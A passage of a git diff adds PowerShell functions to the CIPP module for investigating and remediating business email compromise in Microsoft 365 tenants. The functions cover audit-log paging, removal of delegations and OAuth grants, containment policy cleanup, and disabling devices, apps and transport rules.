b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecTargetedCAPolicy.ps1 new file mode 100644 index 0000000000..a984c8cf61 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecTargetedCAPolicy.ps1 @@ -0,0 +1,62 @@ +function Remove-CIPPBecTargetedCAPolicy { + <# + .SYNOPSIS + Removes a CIPP BEC containment Conditional Access policy. + .DESCRIPTION + Deletes the policy by id, or every CIPP-BEC-managed policy for a user when -UserId is given + instead. Schedulable (the containment action schedules it at the policy's expiry); a policy + that is already gone is reported, not failed. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER PolicyId + The policy id. + .PARAMETER UserId + Alternatively, remove every CIPP-BEC policy targeting this user. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [string]$PolicyId, + [string]$UserId, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + if (-not $PolicyId -and -not $UserId) { throw 'PolicyId or UserId is required' } + $Ids = @() + if ($PolicyId) { + $Ids = @($PolicyId) + } else { + $Ids = @(New-GraphGetRequest -uri 'https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies?$select=id,description&$top=999' -tenantid $TenantFilter -AsApp $true | Where-Object { [string]$_.description -like "*ManagedBy=CIPP-BEC;Target=$UserId*" } | ForEach-Object { $_.id }) + if ($Ids.Count -eq 0) { + $Message = "No CIPP BEC containment policy exists for user $UserId" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + return $Message + } + } + $Messages = foreach ($Id in $Ids) { + if (-not $PSCmdlet.ShouldProcess($Id, 'Delete Conditional Access policy')) { continue } + try { + $null = New-GraphPOSTRequest -uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/$Id" -tenantid $TenantFilter -type DELETE -AsApp $true + $Message = "Removed BEC containment Conditional Access policy $Id" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + $Message + } catch { + $ErrorMessage = Get-CippException -Exception $_ + if ($ErrorMessage.NormalizedError -match '(?i)not ?found|404|does not exist') { + "BEC containment Conditional Access policy $Id was already removed" + } else { + $Message = "Failed to remove BEC containment Conditional Access policy $Id`: $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Error' -LogData $ErrorMessage + throw $Message + } + } + } + return ($Messages -join '; ') +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPMailboxDelegation.ps1 b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPMailboxDelegation.ps1 new file mode 100644 index 0000000000..7f2601b0fa --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPMailboxDelegation.ps1 @@ -0,0 +1,71 @@ +function Remove-CIPPMailboxDelegation { + <# + .SYNOPSIS + Removes mailbox delegations of every type the BEC inventory reports. + .DESCRIPTION + Takes delegation rows shaped like Get-CIPPBecMailboxInventory's Delegations output + ({ PermissionType, Trustee, Identity, AccessRights }) and removes each one: FullAccess, SendAs + and SendOnBehalf through Set-CIPPMailboxPermission, folder rights through + Remove-CIPPFolderPermission (by folder id, so localised folder names do not matter) and + resource delegates through Set-CalendarProcessing. One failure never stops the rest. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The mailbox. + .PARAMETER Delegations + The delegation rows to remove. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [Parameter(Mandatory = $true)]$Delegations, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Results = [System.Collections.Generic.List[object]]::new() + foreach ($Delegation in @($Delegations | Where-Object { $_ })) { + $Type = [string]$Delegation.PermissionType + $Trustee = [string]$Delegation.Trustee + $Target = "$Type $Trustee" + if ([string]::IsNullOrWhiteSpace($Trustee)) { + $Results.Add([pscustomobject]@{ Target = $Target; state = 'error'; resultText = "A $Type delegation without a trustee cannot be removed" }) + continue + } + if (-not $PSCmdlet.ShouldProcess("$UserPrincipalName $Target", 'Remove delegation')) { continue } + try { + switch ($Type) { + { $_ -in @('FullAccess', 'SendAs', 'SendOnBehalf') } { + $null = Set-CIPPMailboxPermission -UserId $UserPrincipalName -AccessUser $Trustee -PermissionLevel $Type -Action 'Remove' -TenantFilter $TenantFilter -APIName $APIName -Headers $Headers + $Text = "Removed $Type for $Trustee from $UserPrincipalName" + } + 'Folder' { + $FolderIdentity = if ($Delegation.Identity) { [string]$Delegation.Identity } else { [string]$Delegation.Resource } + $null = Remove-CIPPFolderPermission -TenantFilter $TenantFilter -FolderIdentity $FolderIdentity -User $Trustee -AccessRights ([string]$Delegation.AccessRights) -Anchor $UserPrincipalName + $Text = "Removed folder permission for $Trustee on $($Delegation.Resource ?? $FolderIdentity)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Text -Sev 'Info' + } + 'ResourceDelegate' { + $null = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Set-CalendarProcessing' -cmdParams @{ Identity = $UserPrincipalName; ResourceDelegates = @{ '@odata.type' = '#Exchange.GenericHashTable'; remove = @($Trustee) } } -Anchor $UserPrincipalName + $Text = "Removed resource delegate $Trustee from $UserPrincipalName" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Text -Sev 'Info' + } + default { throw "Unknown delegation type '$Type'" } + } + $Results.Add([pscustomobject]@{ Target = $Target; state = 'success'; resultText = $Text }) + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Text = "Failed to remove $Type for $Trustee from $UserPrincipalName`: $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Text -Sev 'Error' -LogData $ErrorMessage + $Results.Add([pscustomobject]@{ Target = $Target; state = 'error'; resultText = $Text }) + } + } + return $Results.ToArray() +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPUserOAuthGrant.ps1 b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPUserOAuthGrant.ps1 new file mode 100644 index 0000000000..5e129becc1 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Remove-CIPPUserOAuthGrant.ps1 @@ -0,0 +1,65 @@ +function Remove-CIPPUserOAuthGrant { + <# + .SYNOPSIS + Deletes a user's OAuth consent grants and app-role assignments. + .DESCRIPTION + Removes the delegated consent grants (oauth2PermissionGrants) and enterprise-app role + assignments identified by id. Removing a grant revokes that consent only; it does not disable + the application for other users (see Set-CIPPServicePrincipalState) and existing access + tokens keep working until they expire, so pair it with a session revocation. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id (needed for app-role assignment deletes). + .PARAMETER GrantIds + oauth2PermissionGrant ids to delete. + .PARAMETER AppRoleAssignmentIds + appRoleAssignment ids to delete. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [string]$UserId, + [string[]]$GrantIds = @(), + [string[]]$AppRoleAssignmentIds = @(), + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Results = [System.Collections.Generic.List[object]]::new() + foreach ($GrantId in @($GrantIds | Where-Object { $_ })) { + if (-not $PSCmdlet.ShouldProcess($GrantId, 'Delete OAuth consent grant')) { continue } + try { + $null = New-GraphPOSTRequest -uri "https://graph.microsoft.com/v1.0/oauth2PermissionGrants/$GrantId" -tenantid $TenantFilter -type DELETE -AsApp $true + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Deleted OAuth consent grant $GrantId" -Sev 'Info' + $Results.Add([pscustomobject]@{ Target = $GrantId; state = 'success'; resultText = "Deleted consent grant $GrantId" }) + } catch { + $ErrorMessage = Get-CippException -Exception $_ + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Failed to delete OAuth consent grant $GrantId`: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + $Results.Add([pscustomobject]@{ Target = $GrantId; state = 'error'; resultText = "Failed to delete consent grant $GrantId`: $($ErrorMessage.NormalizedError)" }) + } + } + foreach ($AssignmentId in @($AppRoleAssignmentIds | Where-Object { $_ })) { + if (-not $UserId) { + $Results.Add([pscustomobject]@{ Target = $AssignmentId; state = 'error'; resultText = 'The user object id is required to remove an app-role assignment' }) + continue + } + if (-not $PSCmdlet.ShouldProcess($AssignmentId, 'Delete app-role assignment')) { continue } + try { + $null = New-GraphPOSTRequest -uri "https://graph.microsoft.com/v1.0/users/$UserId/appRoleAssignments/$AssignmentId" -tenantid $TenantFilter -type DELETE -AsApp $true + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Deleted app-role assignment $AssignmentId for user $UserId" -Sev 'Info' + $Results.Add([pscustomobject]@{ Target = $AssignmentId; state = 'success'; resultText = "Deleted app-role assignment $AssignmentId" }) + } catch { + $ErrorMessage = Get-CippException -Exception $_ + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message "Failed to delete app-role assignment $AssignmentId`: $($ErrorMessage.NormalizedError)" -Sev 'Error' -LogData $ErrorMessage + $Results.Add([pscustomobject]@{ Target = $AssignmentId; state = 'error'; resultText = "Failed to delete app-role assignment $AssignmentId`: $($ErrorMessage.NormalizedError)" }) + } + } + return $Results.ToArray() +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Search-CIPPBecAuditLog.ps1 b/backend/Modules/CIPPCore/Public/BEC/Search-CIPPBecAuditLog.ps1 new file mode 100644 index 0000000000..2d47319402 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Search-CIPPBecAuditLog.ps1 @@ -0,0 +1,164 @@ +function Search-CIPPBecAuditLog { + <# + .SYNOPSIS + Pages Search-UnifiedAuditLog for the BEC check with an explicit completeness marker. + .DESCRIPTION + Runs a ReturnLargeSet session with a stable session id and a fixed page size, follows the + pages until the service reports the last row (ResultIndex = ResultCount), a short page comes + back, or a page adds nothing new, and stops at MaxPages. Rows are de-duplicated on Identity and + their AuditData JSON is parsed once. The caller gets { Records, Complete, Pages, Cap } so a + capped search is reported as partial instead of silently truncated. + + Only metadata is read: the records are the audit log's own descriptions of what happened, + never message content. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER StartDate + Window start (UTC). + .PARAMETER EndDate + Window end (UTC). + .PARAMETER Operations + Operations to search for. + .PARAMETER UserIds + Restrict to records attributed to these users. Always sent as an array - a bare string binds to + the cmdlet's String[] as a scalar and EXO rejects it. + .PARAMETER RecordType + Optional record type filter (e.g. ExchangeAdmin). + .PARAMETER ObjectIds + Optional object id filter. + .PARAMETER Anchor + Anchor mailbox for the EXO request. + .PARAMETER PageSize + Rows per page (max 5000). + .PARAMETER MaxPages + Page cap for one time slice; a slice that hits it is bisected on time (see MinSliceMinutes) + rather than reported truncated, so coverage is bounded by TIME, not by a log count. + .PARAMETER MinSliceMinutes + The smallest window a busy slice is bisected down to. A count cap silently drops IOCs on a busy + account - splitting the window in half and searching each half with its own page budget keeps + the whole period covered. Only a slice this small that still caps is reported incomplete. + .PARAMETER MaxSliceDepth + Recursion ceiling for the bisection, a safety stop against pathological density. + .PARAMETER SliceDepth + Internal: current bisection depth. Callers leave it at 0. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][datetime]$StartDate, + [Parameter(Mandatory = $true)][datetime]$EndDate, + [string[]]$Operations, + [string[]]$UserIds, + [string]$RecordType, + [string[]]$ObjectIds, + [string]$Anchor, + [ValidateRange(1, 5000)][int]$PageSize = 5000, + [ValidateRange(1, 200)][int]$MaxPages = 10, + [ValidateRange(1, 10080)][int]$MinSliceMinutes = 60, + [ValidateRange(1, 16)][int]$MaxSliceDepth = 8, + [ValidateRange(0, 16)][int]$SliceDepth = 0 + ) + + $SearchParam = @{ + SessionCommand = 'ReturnLargeSet' + SessionId = "CIPP-BEC-$([guid]::NewGuid().ToString('N'))" + StartDate = $StartDate + EndDate = $EndDate + ResultSize = $PageSize + } + if ($Operations) { $SearchParam.Operations = @($Operations) } + if ($UserIds) { $SearchParam.UserIds = @($UserIds) } + if ($RecordType) { $SearchParam.RecordType = $RecordType } + if ($ObjectIds) { $SearchParam.ObjectIds = @($ObjectIds) } + + $ExoParams = @{ tenantid = $TenantFilter; cmdlet = 'Search-UnifiedAuditLog'; cmdParams = $SearchParam } + if ($Anchor) { $ExoParams.Anchor = $Anchor } + + $Records = [System.Collections.Generic.List[object]]::new() + $Seen = [System.Collections.Generic.HashSet[string]]::new([System.StringComparer]::OrdinalIgnoreCase) + $Pages = 0 + $Done = $false + $Stalled = $false + $PageError = $null + do { + $Pages++ + # A search with no hits returns nothing at all rather than an empty page. A transient failure on + # a later page must not discard the pages already collected: stop here and report what we have as + # partial, rather than letting the whole search throw and the caller record it as empty. + try { + $Batch = @(New-ExoRequest @ExoParams | Where-Object { $_ }) + } catch { + $PageError = $_.Exception.Message + break + } + $NewCount = 0 + foreach ($Item in $Batch) { + $Key = if ($Item.Identity) { [string]$Item.Identity } else { "$($Item.CreationDate)|$($Item.Operations)|$($Item.UserIds)|$($Item.AuditData)" } + if (-not $Seen.Add($Key)) { continue } + $AuditData = try { $Item.AuditData | ConvertFrom-Json -ErrorAction Stop } catch { $null } + $Records.Add([pscustomobject]@{ + Identity = $Item.Identity + CreationDate = $Item.CreationDate + Operation = $Item.Operations ?? $AuditData.Operation + UserId = $Item.UserIds ?? $AuditData.UserId + RecordType = $Item.RecordType + AuditData = $AuditData + }) + $NewCount++ + } + $Last = if ($Batch.Count -gt 0) { $Batch[-1] } else { $null } + $ServiceSaysDone = $Last -and $Last.ResultCount -and $Last.ResultIndex -and ([int]$Last.ResultIndex -ge [int]$Last.ResultCount) + $Done = ($Batch.Count -eq 0) -or ($Batch.Count -lt $PageSize) -or $ServiceSaysDone + # A full page that adds nothing new means the session is replaying: stop, but do not call it complete. + if (-not $Done -and $NewCount -eq 0) { $Stalled = $true; break } + } while (-not $Done -and $Pages -lt $MaxPages) + + # Capped on pages (not finished, not stalled) and there is still time to give: the window is denser + # than one page budget can hold, so bisect it and cover each half with its own budget. This is what + # makes coverage time-bound rather than count-bound - the partial from this pass is discarded because + # the two halves re-cover the whole window between them. + $WindowMinutes = ($EndDate - $StartDate).TotalMinutes + # A page error is not density, so it does not bisect - it just returns the partial set below. + $CappedByPages = (-not $Done) -and (-not $Stalled) -and (-not $PageError) + if ($CappedByPages -and $SliceDepth -lt $MaxSliceDepth -and $WindowMinutes -gt $MinSliceMinutes) { + $Mid = $StartDate.AddTicks([long](($EndDate - $StartDate).Ticks / 2)) + $Common = @{ + TenantFilter = $TenantFilter + PageSize = $PageSize + MaxPages = $MaxPages + MinSliceMinutes = $MinSliceMinutes + MaxSliceDepth = $MaxSliceDepth + SliceDepth = $SliceDepth + 1 + } + if ($Operations) { $Common.Operations = $Operations } + if ($UserIds) { $Common.UserIds = $UserIds } + if ($RecordType) { $Common.RecordType = $RecordType } + if ($ObjectIds) { $Common.ObjectIds = $ObjectIds } + if ($Anchor) { $Common.Anchor = $Anchor } + + $Left = Search-CIPPBecAuditLog @Common -StartDate $StartDate -EndDate $Mid + $Right = Search-CIPPBecAuditLog @Common -StartDate $Mid -EndDate $EndDate + + $Merged = [System.Collections.Generic.List[object]]::new() + $MergedSeen = [System.Collections.Generic.HashSet[string]]::new([System.StringComparer]::OrdinalIgnoreCase) + foreach ($Rec in (@($Left.Records) + @($Right.Records))) { + $Key = if ($Rec.Identity) { [string]$Rec.Identity } else { "$($Rec.CreationDate)|$($Rec.Operation)|$($Rec.UserId)" } + if ($MergedSeen.Add($Key)) { $Merged.Add($Rec) } + } + return [pscustomobject]@{ + Records = $Merged.ToArray() + Complete = [bool]($Left.Complete -and $Right.Complete) + Pages = $Pages + $Left.Pages + $Right.Pages + Cap = if ($Left.Complete -and $Right.Complete) { $null } else { ($Left.Cap ?? $Right.Cap) } + } + } + + return [pscustomobject]@{ + Records = $Records.ToArray() + Complete = [bool]$Done + Pages = $Pages + Cap = if ($Done) { $null } elseif ($PageError) { "stopped after $($Records.Count) record(s) on a page error: $PageError" } elseif ($Stalled) { 'paging stalled (duplicate page returned)' } else { "$MaxPages pages of $PageSize records in a $([int]$WindowMinutes)-minute slice" } + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Set-CIPPBecReport.ps1 b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPBecReport.ps1 new file mode 100644 index 0000000000..7bc9737f1f --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPBecReport.ps1 @@ -0,0 +1,73 @@ +function Set-CIPPBecReport { + <# + .SYNOPSIS + Writes or updates a BEC run: the row in the BecReports table and, optionally, its results row. + .DESCRIPTION + One row per run (PartitionKey = tenant default domain, RowKey = case id) holds the small, + listable metadata - user, status, scope, score, timestamps, containment history, evidence + export records. The full results payload goes to its own row in the BecResults table (same + keys) so history lists never read megabytes of JSON; the large-entity writer splits an + oversized payload across part rows transparently and cleans stale parts up when a rewritten + payload shrinks. Row properties are merged (UpsertMerge): a status/score update does not + clobber the containment history another request appended, and null values are dropped + before the write. Everything lives in table storage; nothing is written to blobs. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER CaseId + The run's case id. + .PARAMETER Properties + Hashtable of row properties to set/merge (Status, Scope, Score, Level, UserId, ...). + .PARAMETER Results + When supplied, serialised to JSON and written to the run's BecResults row (replace). + .PARAMETER Replace + Replace the whole run row instead of merging (used when a run is first created). + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$CaseId, + [hashtable]$Properties = @{}, + $Results, + [switch]$Replace + ) + + $Entity = @{ + PartitionKey = [string]$TenantFilter + RowKey = [string]$CaseId + } + foreach ($Key in $Properties.Keys) { + $Value = $Properties[$Key] + if ($null -eq $Value) { continue } + # Table properties are scalars; anything structured is stored as compact JSON. + if ($Value -is [string] -or $Value -is [bool] -or $Value -is [int] -or $Value -is [long] -or $Value -is [double] -or $Value -is [datetime] -or $Value -is [guid]) { + $Entity[$Key] = $Value + } else { + $Entity[$Key] = [string](ConvertTo-Json -InputObject $Value -Depth 15 -Compress) + } + } + + if ($PSBoundParameters.ContainsKey('Results') -and $null -ne $Results) { + $Json = ConvertTo-Json -InputObject $Results -Depth 15 -Compress + $ResultsTable = Get-CIPPTable -TableName 'BecResults' + if ($PSCmdlet.ShouldProcess("$TenantFilter/$CaseId", 'Write BEC results row')) { + Add-CIPPAzDataTableEntity @ResultsTable -Entity @{ + PartitionKey = [string]$TenantFilter + RowKey = [string]$CaseId + Results = $Json + } -Force + } + $Entity['ResultsBytes'] = [long][System.Text.Encoding]::UTF8.GetByteCount($Json) + } + + $Table = Get-CIPPTable -TableName 'BecReports' + if ($PSCmdlet.ShouldProcess("$TenantFilter/$CaseId", 'Write BEC run row')) { + if ($Replace) { + Add-CIPPAzDataTableEntity @Table -Entity $Entity -Force + } else { + Add-CIPPAzDataTableEntity @Table -Entity $Entity -OperationType UpsertMerge + } + } + return $Entity +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Set-CIPPCASMailboxProtocols.ps1 b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPCASMailboxProtocols.ps1 new file mode 100644 index 0000000000..a436d9a4e7 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPCASMailboxProtocols.ps1 @@ -0,0 +1,55 @@ +function Set-CIPPCASMailboxProtocols { + <# + .SYNOPSIS + Turns client access protocols on or off for a mailbox. + .DESCRIPTION + Maps protocol names to Set-CASMailbox switches and applies them in one call. SmtpAuth maps to + SmtpClientAuthenticationDisabled, which is inverted: disabling the protocol sets it to $true. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserPrincipalName + The mailbox. + .PARAMETER Protocols + Any of EWS, IMAP, POP, ActiveSync, OWA, MAPI, ECP, SmtpAuth. + .PARAMETER Enabled + Desired state for the listed protocols. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [Parameter(Mandatory = $true)][ValidateSet('EWS', 'IMAP', 'POP', 'ActiveSync', 'OWA', 'MAPI', 'ECP', 'SmtpAuth')][string[]]$Protocols, + [Parameter(Mandatory = $true)][bool]$Enabled, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Map = @{ EWS = 'EWSEnabled'; IMAP = 'IMAPEnabled'; POP = 'POPEnabled'; ActiveSync = 'ActiveSyncEnabled'; OWA = 'OWAEnabled'; MAPI = 'MAPIEnabled'; ECP = 'ECPEnabled' } + $CmdParams = @{ Identity = $UserPrincipalName } + foreach ($Protocol in ($Protocols | Select-Object -Unique)) { + if ($Protocol -eq 'SmtpAuth') { + $CmdParams['SmtpClientAuthenticationDisabled'] = (-not $Enabled) + } else { + $CmdParams[$Map[$Protocol]] = $Enabled + } + } + $Verb = if ($Enabled) { 'Enabled' } else { 'Disabled' } + if (-not $PSCmdlet.ShouldProcess($UserPrincipalName, "$Verb $($Protocols -join ', ')")) { return } + try { + $null = New-ExoRequest -tenantid $TenantFilter -cmdlet 'Set-CASMailbox' -cmdParams $CmdParams -Anchor $UserPrincipalName + $Message = "$Verb $($Protocols -join ', ') for $UserPrincipalName" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + return $Message + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Message = "Failed to set protocols ($($Protocols -join ', ')) for $UserPrincipalName`: $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Error' -LogData $ErrorMessage + throw $Message + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Set-CIPPEntraDeviceState.ps1 b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPEntraDeviceState.ps1 new file mode 100644 index 0000000000..45d7805c19 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPEntraDeviceState.ps1 @@ -0,0 +1,52 @@ +function Set-CIPPEntraDeviceState { + <# + .SYNOPSIS + Disables, enables or deletes an Entra device object. + .DESCRIPTION + Patches accountEnabled on the device (reversible) or deletes the device object with -Remove + (not reversible; the device has to register again). Disabling a device stops it satisfying + device-based Conditional Access and primary refresh token issuance. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER DeviceId + The device object id. + .PARAMETER AccountEnabled + Desired state when not removing. + .PARAMETER Remove + Delete the device object instead. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$DeviceId, + [bool]$AccountEnabled = $false, + [switch]$Remove, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Operation = if ($Remove) { 'Deleted' } elseif ($AccountEnabled) { 'Enabled' } else { 'Disabled' } + if (-not $PSCmdlet.ShouldProcess($DeviceId, "$Operation device")) { return } + try { + if ($Remove) { + $null = New-GraphPOSTRequest -uri "https://graph.microsoft.com/v1.0/devices/$DeviceId" -tenantid $TenantFilter -type DELETE -AsApp $true + } else { + $Body = ConvertTo-Json -InputObject @{ accountEnabled = $AccountEnabled } -Compress + $null = New-GraphPOSTRequest -uri "https://graph.microsoft.com/v1.0/devices/$DeviceId" -tenantid $TenantFilter -type PATCH -body $Body -AsApp $true + } + $Message = "$Operation Entra device $DeviceId" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + return $Message + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Message = "Failed: $($Operation.ToLower()) Entra device $DeviceId`: $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Error' -LogData $ErrorMessage + throw $Message + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Set-CIPPServicePrincipalState.ps1 b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPServicePrincipalState.ps1 new file mode 100644 index 0000000000..bcee086b65 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPServicePrincipalState.ps1 @@ -0,0 +1,45 @@ +function Set-CIPPServicePrincipalState { + <# + .SYNOPSIS + Enables or disables a service principal tenant-wide. + .DESCRIPTION + Patches accountEnabled on the service principal. Disabling blocks every user's sign-in through + the application and is the reversible way to neutralise a rogue application (re-enable it from + the enterprise applications page if it turns out to be legitimate). + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER ServicePrincipalId + The service principal object id. + .PARAMETER AccountEnabled + Desired state. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$ServicePrincipalId, + [Parameter(Mandatory = $true)][bool]$AccountEnabled, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Verb = if ($AccountEnabled) { 'Enabled' } else { 'Disabled' } + if (-not $PSCmdlet.ShouldProcess($ServicePrincipalId, "$Verb service principal")) { return } + try { + $Body = ConvertTo-Json -InputObject @{ accountEnabled = $AccountEnabled } -Compress + $null = New-GraphPOSTRequest -uri "https://graph.microsoft.com/v1.0/servicePrincipals/$ServicePrincipalId" -tenantid $TenantFilter -type PATCH -body $Body -AsApp $true + $Message = "$Verb service principal $ServicePrincipalId tenant-wide" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + return $Message + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Message = "Failed to set service principal $ServicePrincipalId to $($Verb.ToLower()): $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Error' -LogData $ErrorMessage + throw $Message + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Set-CIPPTransportRuleState.ps1 b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPTransportRuleState.ps1 new file mode 100644 index 0000000000..a0164ad27a --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Set-CIPPTransportRuleState.ps1 @@ -0,0 +1,44 @@ +function Set-CIPPTransportRuleState { + <# + .SYNOPSIS + Enables or disables a transport rule. + .DESCRIPTION + Runs Disable-TransportRule or Enable-TransportRule for the given rule identity. Transport rules + are tenant-wide, so disabling one affects every mailbox; it is reversible. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER Identity + The rule identity, name or GUID. + .PARAMETER Enabled + Desired state. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$Identity, + [Parameter(Mandatory = $true)][bool]$Enabled, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Cmdlet = if ($Enabled) { 'Enable-TransportRule' } else { 'Disable-TransportRule' } + $Verb = if ($Enabled) { 'Enabled' } else { 'Disabled' } + if (-not $PSCmdlet.ShouldProcess($Identity, $Cmdlet)) { return } + try { + $null = New-ExoRequest -tenantid $TenantFilter -cmdlet $Cmdlet -cmdParams @{ Identity = $Identity; Confirm = $false } -useSystemMailbox $true + $Message = "$Verb transport rule '$Identity'" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Info' + return $Message + } catch { + $ErrorMessage = Get-CippException -Exception $_ + $Message = "Failed to run $Cmdlet for '$Identity': $($ErrorMessage.NormalizedError)" + Write-LogMessage -headers $Headers -API $APIName -tenant $TenantFilter -message $Message -Sev 'Error' -LogData $ErrorMessage + throw $Message + } +} diff --git a/backend/Modules/CIPPCore/Public/GraphHelper/Write-LogMessage.ps1 b/backend/Modules/CIPPCore/Public/GraphHelper/Write-LogMessage.ps1 index 975238e165..55c9e3a369 100644 --- a/backend/Modules/CIPPCore/Public/GraphHelper/Write-LogMessage.ps1 +++ b/backend/Modules/CIPPCore/Public/GraphHelper/Write-LogMessage.ps1 @@ -91,6 +91,11 @@ function Write-LogMessage { if ($script:CippBaselineRunIdStorage.Value) { $TableRow.BaselineRunId = [string]$script:CippBaselineRunIdStorage.Value } + # Set by Set-CippBecCaseContext while a BEC check, containment, content search or evidence + # export runs, so the evidence package can bundle every log line of a case. + if ($script:CippBecCaseIdStorage.Value) { + $TableRow.BecCaseId = [string]$script:CippBecCaseIdStorage.Value + } $Table.Entity = $TableRow Add-CIPPAzDataTableEntity @Table | Out-Null diff --git a/backend/Modules/CIPPCore/Public/Set-CippBecCaseContext.ps1 b/backend/Modules/CIPPCore/Public/Set-CippBecCaseContext.ps1 new file mode 100644 index 0000000000..c5e7b422d7 --- /dev/null +++ 